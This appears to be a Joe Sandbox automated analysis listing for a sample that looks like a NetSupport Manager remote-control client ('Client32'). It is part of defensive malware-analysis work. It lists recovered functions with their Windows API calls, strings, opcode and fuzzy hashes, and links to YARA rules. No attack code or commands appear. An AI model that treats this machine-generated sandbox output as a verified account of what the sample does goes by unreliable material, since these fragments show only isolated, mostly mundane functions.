API ID: InfoParametersSystem$ForegroundWindow$ErrorExitLastMessageProcesswsprintf
String ID: ..\ctl32\wndclass.cpp$m_hWnd
API String ID: 3960414890-2201682149
Opcode ID: a1720cd828d96b31de3ae11535927becd6a6cc7cf2a6108b9844e59effaa0828
Instruction ID: 490c9e9faa58dc1df28f1acf4c3aa341e93c1bd023cf24429d0d7fa3412acb83
Opcode Fuzzy Hash: a1720cd828d96b31de3ae11535927becd6a6cc7cf2a6108b9844e59effaa0828
Instruction Fuzzy Hash: 8F01F276790318BBE30096A9CC86F55F398EB54B14F104126F718AA1C0DAF1B851C7E1

Function 11003380 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 41windowCOMMON

Download Yara Rule

APIs

LoadMenuA.USER32(00000000,00002EFF), ref: 1100338E
GetSubMenu.USER32(00000000,00000000), ref: 110033BA
GetSubMenu.USER32(00000000,00000000), ref: 110033DC
DestroyMenu.USER32(00000000), ref: 110033EA

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

..\CTL32\annotate.cpp, xrefs: 1100339F, 110033C7
hMenu, xrefs: 110033A4
hSub, xrefs: 110033CC

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Menu$DestroyErrorExitLastLoadMessageProcesswsprintf
String ID: ..\CTL32\annotate.cpp$hMenu$hSub
API String ID: 468487828-934300333
Opcode ID: 8af01ad4efa7446add9b372c4420e91d6a3bebcd66f8e1993f70f2b692afa4a5
Instruction ID: f68e039685e14a294959d37ff9e7a7cb7630811a32528fcef7aaec2fda1b7dd6
Opcode Fuzzy Hash: 8af01ad4efa7446add9b372c4420e91d6a3bebcd66f8e1993f70f2b692afa4a5
Instruction Fuzzy Hash: 2FF0E93AF8466933E312A1F53C85F5BE74C9B515ECF450031F528EAA80EE54A80041AA

Function 11119160 Relevance: 12.2, APIs: 8, Instructions: 209COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,00000000), ref: 11119200
ClientToScreen.USER32(?,?), ref: 11119241
GetCursorPos.USER32(?), ref: 111192A1
GetTickCount.KERNEL32 ref: 111192B6
GetTickCount.KERNEL32 ref: 11119337
WindowFromPoint.USER32(?,?,?,?), ref: 1111939A
WindowFromPoint.USER32(000000FF,?), ref: 111193AE
SetCursorPos.USER32(000000FF,?,?,?), ref: 111193C2

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: ClientCountCursorFromPointTickWindow$RectScreen
String ID:
API String ID: 4245181967-0
Opcode ID: 838e7dc6d1b1be8e942fea838f017d3d945d3eacabb2bdd9570b2d4d2d73d52c
Instruction ID: c3d26e7f0e5f190f00e8d03b3c013bb68f2031b9d5661d68f26c10068d749f7e
Opcode Fuzzy Hash: 838e7dc6d1b1be8e942fea838f017d3d945d3eacabb2bdd9570b2d4d2d73d52c
Instruction Fuzzy Hash: 6391F6B5A0060A9FDB14DFB4D588AEEF7F5FB88314F10452ED86A9B244E735B841CB60

Function 11025122 Relevance: 12.1, APIs: 8, Instructions: 121windowCOMMON

Download Yara Rule

APIs

GetWindowTextA.USER32(?,?,00000050), ref: 11025176
_strncat.LIBCMT ref: 1102518B
SetWindowTextA.USER32(?,?), ref: 11025198

Part of subcall function 1110F420: _malloc.LIBCMT ref: 1110F439
Part of subcall function 1110F420: wsprintfA.USER32 ref: 1110F454
Part of subcall function 1110F420: _memset.LIBCMT ref: 1110F477

GetDlgItemTextA.USER32(?,00001395,?,00000040), ref: 11025224
GetDlgItemTextA.USER32(?,00001397,?,00000040), ref: 11025238
SetDlgItemTextA.USER32(?,00001397,?), ref: 11025250
SetDlgItemTextA.USER32(?,00001395,?), ref: 11025262
SetFocus.USER32(?), ref: 11025265

Part of subcall function 11024C70: GetDlgItem.USER32(?,?), ref: 11024CC0

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Text$Item$Window$Focus_malloc_memset_strncatwsprintf
String ID:
API String ID: 3832070631-0
Opcode ID: 60fab7655721e0b3046f2d3ba99d2d3761f65fbfa148eacead4071a3fd212dff
Instruction ID: 7712de199883e751ea03bfa735f50b434bc7bb1cc5edca5bff12a9cf5cd7df4a
Opcode Fuzzy Hash: 60fab7655721e0b3046f2d3ba99d2d3761f65fbfa148eacead4071a3fd212dff
Instruction Fuzzy Hash: 0E4192B5A10359ABE710DB74CC45BBAF7F8FB44714F01452AE61AD76C0EAB4A904CB50

Function 110573B0 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 188libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 11075FE0: InitializeCriticalSection.KERNEL32(111ED708,A1BC2D8B,1110EDDD,00000000,00000000,00000000,E8111B5E,111825D3,000000FF,?,1110E49D,0003750B,A8680D75,E8111B5E,00000001,00000000), ref: 1107602E
Part of subcall function 11075FE0: InitializeCriticalSection.KERNEL32(0000000C,?,1110E49D,0003750B,A8680D75,E8111B5E,00000001,00000000,A1BC2D8B,00000000,00000001,00000000,00000000,1118A168,000000FF), ref: 11076097
Part of subcall function 11075FE0: InitializeCriticalSection.KERNEL32(00000024,?,1110E49D,0003750B,A8680D75,E8111B5E,00000001,00000000,A1BC2D8B,00000000,00000001,00000000,00000000,1118A168,000000FF), ref: 1107609D
Part of subcall function 11075FE0: CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,1110E49D,0003750B,A8680D75,E8111B5E,00000001,00000000,A1BC2D8B,00000000,00000001,00000000,00000000), ref: 110760A7
Part of subcall function 11075FE0: InitializeCriticalSection.KERNEL32(000004D0,?,1110E49D,0003750B,A8680D75,E8111B5E,00000001,00000000,A1BC2D8B,00000000,00000001,00000000,00000000), ref: 110760FC
Part of subcall function 11075FE0: InitializeCriticalSection.KERNEL32(000004F8,?,1110E49D,0003750B,A8680D75,E8111B5E,00000001,00000000,A1BC2D8B,00000000,00000001,00000000,00000000), ref: 11076105

LoadLibraryA.KERNEL32(Kernel32.dll), ref: 1105759C
GetProcAddress.KERNEL32(00000000,WTSGetActiveConsoleSessionId), ref: 110575E1
SetLastError.KERNEL32(00000078), ref: 110575F4
FreeLibrary.KERNEL32(00000000), ref: 110575FF

Strings

WTSGetActiveConsoleSessionId, xrefs: 110575D7
Kernel32.dll, xrefs: 11057585

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CriticalInitializeSection$Library$AddressCreateErrorEventFreeLastLoadProc
String ID: Kernel32.dll$WTSGetActiveConsoleSessionId
API String ID: 3780373956-3165951319
Opcode ID: ccdea510e774544ecb2f96d5e0f14d7635a3fa6427d5c0afb47a3670e03c907f
Instruction ID: 5b2845002196474fabc536bb645ff26533f5159a1a467828fb1dae30e08bae14
Opcode Fuzzy Hash: ccdea510e774544ecb2f96d5e0f14d7635a3fa6427d5c0afb47a3670e03c907f
Instruction Fuzzy Hash: C47149B4A01215AFDB10CFAAC8C0E9AFBF9FF88314F24819AE91597314D771A941CF64

Function 11093180 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 108COMMON

Download Yara Rule

APIs

Part of subcall function 110CEC60: CreateDialogParamA.USER32(00000000,?,1112D7C9,110CBCD0,00000000), ref: 110CECF1
Part of subcall function 110CEC60: GetLastError.KERNEL32 ref: 110CEE49
Part of subcall function 110CEC60: wsprintfA.USER32 ref: 110CEE78

Part of subcall function 11142DD0: _memset.LIBCMT ref: 11142DF9
Part of subcall function 11142DD0: GetVersionExA.KERNEL32(?), ref: 11142E12

GetWindowLongA.USER32(?,000000EC), ref: 110931C9
SetWindowLongA.USER32(?,000000EC,00000000), ref: 110931F7

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

GetWindowLongA.USER32(?,000000F0), ref: 11093220
SetWindowLongA.USER32(?,000000F0,00000000), ref: 1109324E

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 110931B1, 110931DE, 11093208, 11093235
m_hWnd, xrefs: 110931B6, 110931E3, 1109320D, 1109323A

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: LongWindow$ErrorLastwsprintf$CreateDialogExitMessageParamProcessVersion_memset
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 3136964118-2830328467
Opcode ID: fb6c2165198b052ed1adde41c8e51930884ee91b5ce78e92da16114a67f0499d
Instruction ID: 17cdb21e99cc57644c55c5a770e75091ec79e40792fa9a2895745f392d232910
Opcode Fuzzy Hash: fb6c2165198b052ed1adde41c8e51930884ee91b5ce78e92da16114a67f0499d
Instruction Fuzzy Hash: AF31E475B04609ABC324CFA5DC95FE7B3E5BB88718F10862CF56A976D0DA34B840CB54

Function 11137070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 111370A6
_free.LIBCMT ref: 111370DD

Part of subcall function 1105DD10: __wcstoi64.LIBCMT ref: 1105DD4D

_free.LIBCMT ref: 1113716D

Part of subcall function 1110F270: InterlockedDecrement.KERNEL32(?), ref: 1110F278

_free.LIBCMT ref: 1113713E

Part of subcall function 11162BE5: HeapFree.KERNEL32(00000000,00000000,?,1116B7A6,00000000,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 11162BFB
Part of subcall function 11162BE5: GetLastError.KERNEL32(00000000,?,1116B7A6,00000000,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 11162C0D

Strings

*HelpReqServer, xrefs: 111370F6
Client, xrefs: 111370FB

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: _free$DecrementErrorFreeHeapInterlockedLast__wcstoi64_malloc
String ID: *HelpReqServer$Client
API String ID: 1390041139-3616015116
Opcode ID: 71aa43b1dfc4152375353722706e6e213d6d63b076ebc57cc88b85f2b8b4d0b4
Instruction ID: 8e3468a70864abf3cc9909560d123acfb2a7f2167445c6f0ed38d11247114e31
Opcode Fuzzy Hash: 71aa43b1dfc4152375353722706e6e213d6d63b076ebc57cc88b85f2b8b4d0b4
Instruction Fuzzy Hash: 6B313877B001156BDB00DE58DC81BAEF3A9EF88325F154169ED04AB380D675F904C7D5

Function 11143360 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 94windowCOMMON

Download Yara Rule

APIs

PlaySoundA.WINMM(1000,50,00000000,00020001), ref: 11143451

Part of subcall function 11163A2D: __isdigit_l.LIBCMT ref: 11163A52

Beep.KERNEL32(00000000,00000000), ref: 11143415
MessageBeep.USER32(00000000), ref: 11143427
MessageBeep.USER32(-00000010), ref: 1114343B
MessageBeep.USER32(00000000), ref: 1114345D

Strings

1000,50, xrefs: 11143370, 11143393, 111433A7, 111433E8, 1114344C

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Beep$Message$PlaySound__isdigit_l
String ID: 1000,50
API String ID: 3904670044-1941404556
Opcode ID: c2824c85be99af7b01869709431b37e6f937a4a8314b06dcce6d67a3277ac74e
Instruction ID: 938a5c7d7fad482dacf885287002a424905fd2e62ab59dfe834b6d95de8c57fd
Opcode Fuzzy Hash: c2824c85be99af7b01869709431b37e6f937a4a8314b06dcce6d67a3277ac74e
Instruction Fuzzy Hash: 93216D66A6C6B272E60105746D847FFFF5E8F81E69F184074E87DC6982EB26E016C321

Function 110B9000 Relevance: 10.6, APIs: 7, Instructions: 58COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(75BF7AA0,?,110BFEBC,110BFEBC,110BFEBC,110BFEBC,110BFEBC,110BFEBC,110BFEBC,110BFEBC), ref: 110B9017
GetCursorPos.USER32(110BFEBC), ref: 110B9026

Part of subcall function 1115E6F0: GetWindowRect.USER32(?,?), ref: 1115E70C

PtInRect.USER32(110BFEBC,110BFEBC,110BFEBC), ref: 110B9044
ClientToScreen.USER32(?,110BFEBC), ref: 110B9066
SetCursorPos.USER32(110BFEBC,110BFEBC,?,110BFEBC,110BFEBC,110BFEBC,110BFEBC,110BFEBC,110BFEBC,110BFEBC,110BFEBC), ref: 110B9074
LoadCursorA.USER32(00000000,00007F00), ref: 110B9081
SetCursor.USER32(00000000,?,110BFEBC,110BFEBC,110BFEBC,110BFEBC,110BFEBC,110BFEBC,110BFEBC,110BFEBC), ref: 110B9088

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Cursor$RectWindow$ClientForegroundLoadScreen
String ID:
API String ID: 3235510773-0
Opcode ID: 49be05b7fef80b05594cc908f0611ebf12c6680a206dc75da7e7ca7dce7ec318
Instruction ID: ad301b5eb86ee9d8d5bbe419ceb9c49b4424cf1b2c79503272c3df1ff599c8d2
Opcode Fuzzy Hash: 49be05b7fef80b05594cc908f0611ebf12c6680a206dc75da7e7ca7dce7ec318
Instruction Fuzzy Hash: 8C112EB5E1421A9FCB08DFB4C884DBFF7B8FB84305B108669E52297244DB34E905CBA4

Function 1101D0F0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 41registrywindowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 1101D0FE
LoadIconA.USER32(00000000,0000139A), ref: 1101D14F
LoadCursorA.USER32(00000000,00007F00), ref: 1101D15F
RegisterClassExA.USER32(00000030), ref: 1101D181
GetLastError.KERNEL32 ref: 1101D187

Strings

0, xrefs: 1101D10C

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Load$ClassCursorErrorIconLastRegister_memset
String ID: 0
API String ID: 430917334-4108050209
Opcode ID: a999cde5bf51422c53d54c5e2b81da0a739011e508cf178ac43a94cfc9df5e13
Instruction ID: 594e7871e039520b7580a936d726e641a3743c14917196a6b4ce4aa29f199296
Opcode Fuzzy Hash: a999cde5bf51422c53d54c5e2b81da0a739011e508cf178ac43a94cfc9df5e13
Instruction Fuzzy Hash: 9C018C74C1431DABEF00EFF0C899BDEFBB8AB04708F104029E521BA284E7BA51048F95

Function 11003310 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 35windowCOMMON

Download Yara Rule

APIs

LoadMenuA.USER32(00000000,00002EFD), ref: 1100331D
GetSubMenu.USER32(00000000,00000000), ref: 11003343
DestroyMenu.USER32(00000000), ref: 11003372

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

..\CTL32\annotate.cpp, xrefs: 1100332E, 11003354
hMenu, xrefs: 11003333
hSub, xrefs: 11003359

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Menu$DestroyErrorExitLastLoadMessageProcesswsprintf
String ID: ..\CTL32\annotate.cpp$hMenu$hSub
API String ID: 468487828-934300333
Opcode ID: e42f28694fc46f4086300125048bfedf8bbbd82d4e050df1718e76ccc8693524
Instruction ID: e80103f9713123d07a9bceb05cb6f887813353322251b2c4d1aa2998eabbc516
Opcode Fuzzy Hash: e42f28694fc46f4086300125048bfedf8bbbd82d4e050df1718e76ccc8693524
